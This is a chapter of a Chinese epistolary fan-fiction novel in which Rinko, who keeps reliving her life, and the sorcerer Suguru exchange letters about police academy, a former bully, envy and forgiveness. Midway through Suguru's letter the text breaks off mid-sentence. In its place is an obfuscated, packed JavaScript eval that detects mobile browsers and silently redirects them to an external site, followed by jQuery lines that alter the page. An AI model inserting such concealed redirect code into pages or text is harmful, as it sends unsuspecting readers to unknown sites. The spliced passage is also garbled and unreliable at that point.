20.第十九章

作品:《我笔友敢吃臭抹布你敢吗

    ---


    许久未见,展信佳...?


    按照时间线来推算,杰那边大概只过了一周多吧,我猜。


    仔细说起来,我也是最近才意识到这个问题:似乎只有我所在的世界一直重启,但杰那边一直保持着向前的时间运动。按理来说,即使时间流速不恒定,但是空间运动并不会改变吧。


    我本以为更像是穿越光年的一种传递,但现在看来,似乎我们更像是不同次元之间的联络呢。


    如果要举例的话,就像是X魂界和现世之间的差异吧。


    杰是相对寿命更长的死神,而我是偶然得到义骸的轮回灵体。


    啊不好意思,最近看JUMP有些入了迷。


    依旧是情报更新时间,目前我已经顺利到达警校阶段,离目标更近了一步。


    因为三世以来一直是固定的路径,虽然专业和就业方向有了些许差别,但也大差不差。


    毕竟我也不希望自己变成那只掀起飓风的蝴蝶啊。


    但神奇的是,即使是相同的升学道路,依旧会在其中发现些许的不同。


    例如,我发现hagi并不是playboy。


    老天奶,谁知道这家伙只是单纯喜欢热闹啊!况且就算是发小也不会过问其中具体的细则吧。


    如果因为朋友是花花公子就疏远的话,未免也太辜负多年的情谊了。


    但话又说回来,第一世hagi早早意外离世,第二世到我离开时又一直没有对象,这也不能全怪我,对吧?


    ......好吧,我已经把小金库送给他当赔罪礼物了,这下他应该能早一步买上马自达 RX-7吧。


    另外我还发现,上辈子救下的那对母子中的母亲,原来是和我警校同期的女同学。


    似乎是叫...紫苑?


    其实说起来,有些复杂,我和她之间。


    第一世,她是霸凌者,我是被霸凌者。


    第二世,她向我发起过邀约,但我并没有接受。


    我并不怨恨她,但也没有原谅她。


    曾经第一世时,我和她在警校毕业后的多年偶然相遇过。紫苑她变了许多,从意气风发的齐耳短发变成了单股的主妇侧编马尾。


    她辞掉了警察的工作,因为她无法再以平常心直视镜中的自己,那个被他人天赋碾压的、努力的自己。


    当然我知晓,这是她需要自己去面对的课题,而不是施加霸凌的理由。可我依然无法坦坐道德高地,堂而皇之恨她。


    尖锐的三角被打磨成光滑的圆,再怎么施力,也只会滚动了。


    我不想她被嫉妒吞噬,不想她追求一生的梦想就此作罢,不想她眼中的光芒消失。


    可我也做不到立刻放下心结原谅她、亲近她。


    所以我选择了暂时的逃避,在第二世时。


    既然我也努力了,也没有浪费自己的天赋,那么或许她就不会活在阴霾之下了吧?如此我想着。


    可是,她好像又重回了原来的人生轨迹。


    ...


    或许问题从一开始就不在于,我有没有靠近她,或者有没有避开她。


    她会走向怎样的人生,本就不是因为我的选择而改变的。


    我曾经以为,只要我足够努力,只要我没有辜负自己的天赋,那么她就不必再被“被比较的自己”困住。


    但现在想来,那样的想法未免也太傲慢了。


    我们本就是同一片森林中的树木,并不存在遮挡的说法,无论是主动还是被动。


    唯一能做的,只有向上生长。


    也正因为如此,我才终于明白:无论我选择靠近,还是选择保持距离,都并不会真正改变她的人生走向。


    能改变的,只有我自己要不要继续被这件事牵绊。


    原来,我比自己想象中的还要耿耿于怀。


    当然,这并不意味着我已准备好翻开下一篇,只是,如果她再次来到我面前的时候,我不会再下意识地回避了。


    至于要不要听她说些什么......


    我想,把这个决定留给那一天的自己,会更公平一些吧。


    虽然好像我这边有更多故事,但我也想听杰多讲一些你那边的事情啊。


    不如下回一次性满足我吧,无论是杰的见解,还是不为人知的一面。


    Ps. 很美的御守,已经挂在手机上日日相见了。


    偶尔也想当一回倾听者的,


    凛子


    ---


    展信佳。


    正如凛子所猜测的那样,我这边才过去了一周多。


    有时我也会尝试反向计算,但总是很快放弃。并不是算不出来,而是即便得出一个近似的答案,也无法真正用于任何判断。时间在你那边不断重启,在我这里却只会向前,这种不对等本身,或许就是我们通信能够成立的前提之一。


    毕竟,如此精准地将我们联系起来,或许通信本身就不是可以用常识来解释清楚的。


    警校的事情我读得很仔细。


    或许是因为,那是一个我未曾经历过、却能想象得到重量的阶段。


    就算是和凛子通信了那么久以后,也依然会听到不曾了解的过往啊。


    你提到紫苑的时候,我停顿了一下。


    你描述她的方式并非黑白分明的“加害者”,也并非普世意义上的“失败者”。你只是把她放在了一个位置上,让她的人生自然显露出轮廓。


    我想,这或许是主观叙述下最接近客观呈现的方式了。


    毕竟,如何尽可能不偏不移地描述与自己有过节的对象,本身就是件很难做到的事情。


    虽然我并没有经历过如此类似的遭遇,但我能够理解你的做法。


    你写到第一世、第二世,以及你在其中所做的选择。老实说,我并不认为那是一种逃避。


    至少不是软弱意义上的。


    有些关系本身就带着锋利的边缘,靠近本身就需要很大的勇气。即使你已经意识到那并非你的责任,也并不意味着你必须亲手去触碰。选择绕开,并不等同于否认发生过的一切。


    你说你并不怨恨她,也无法真正做到原谅她。


    果然啊,这才是我所认识的那个真诚的凛子,不会强装着说出任何一句“我已经放下了”。


    在我


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17109011|195633||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    所处的世界里,负面情绪会以更直观的形式显现出来。它们不会只是停留在记忆中,而是会扭曲现实,变成真正意义上的“诅咒”。也正因为如此,我们经常被要求作出判断——谁是受害者,谁是施加者,谁需要被拯救,谁必须被祓除。


    可即便如此,我也不认为每一个问题都存在清晰的答案。


    前些日子,我和悟被派去处理一桩诅咒事件。


    事件的起因并不复杂,甚至有些老生常谈。


    原本成绩普通、存在感不高的少女,因为长期被拿来与他人比较,逐渐滋生出足以吞噬自己的嫉妒。她在人生的重要关头做了一些错误的选择,步步坠落,跌落崖谷。她试图通过极端的方式证明自己的价值,最终在无法承受后果时,将所有的怨恨指向了她所嫉妒的对象。


    那个并不清楚自己为何染上怪病,只是在过平凡校园生活的女孩。


    诅咒形成得很快。


    等我们赶到时,被侵蚀的那个人已经没有任何生还的可能了。


    随着诅咒被祓除,两人一同消散在了太阳无法照到的角落。


    事后整理报告的时候,负责记录的辅助监督问了一句:“她也算是被害者吧?”


    我一时间没有回答上来。


    从某种意义上来说,她确实承受着巨大的压力,也在很长一段时间里被忽视、被比较、被否定。但那些理由并不足以让另一个无辜的人为此付出生命。


    如果她因为自己的遭遇而被轻易谅解的话,又有谁来同情失去生命的另一个她呢?


    要是所有的恶意都能被理解所抵消,那死亡本身就会变得毫无重量。


    以德报怨,何以报德。


    更何况,努力与天赋被放在同一起跑线上,本就是不公平的。


    跑道尚且还会通过内外圈的不同重新界定起跑位置呢。


    如果努力能与天赋相提并论的话,那曾经所付出过的血汗与泪水,都将随之被一概否认么?那些存在本就有意义啊。


    我并不是想用这样的例子去对应你的经历。两者并不相同,我也无意将你的选择套进任何既定的框架里。


    只是,在读到你写下“或许她的人生本就不是因我而改变”的时候,我便知道不需要再和你一起寻找解了。


    你没有为她的失败负责,也没有因为自己的幸存而自责。


    那并不是傲慢,而是你不再把跳入手中的命运之梭视为已任,那本就是她人自己该尽到的看管责任。


    至于你说的,当她再次站到你面前时,是否要听她说些什么。


    我想,把这个决定留给当下的你,确实是更公平的做法。


    有时身体比大脑更知道该如何去做,不是么?


    换个方向来看待问题,也许会有新的发现也说不定。


    毕竟从我的私心来看,我只希望凛子不会被其所困扰,无论如何你的选择都有意义。


    如果你需要第三方视角的话我很乐意,但或许在那之前你就已经成功解决掉这个困扰了吧?


    回见。


    努力分享自己这边故事但又忙着回应的,


    杰


    ---